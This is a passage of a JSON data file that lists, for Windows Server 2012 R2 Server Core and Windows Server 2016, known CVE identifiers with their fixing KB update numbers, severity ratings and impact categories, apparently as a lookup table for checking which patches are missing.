Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601384","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005076","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029312","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025285","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026415","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039294","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041828","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043138","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048735","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050048","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053887","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058403","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066873","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062597","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063950","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063950","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070886","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"","impact":"Windows Library Loading"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601384","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005076","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029312","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025285","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026415","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039294","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041828","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043138","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048735","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050048","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053887","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058403","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066873","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062597","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063950","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063950","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070886","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2012 R2 (server core installation)":[{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"}],"Windows Server 2016":[{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of 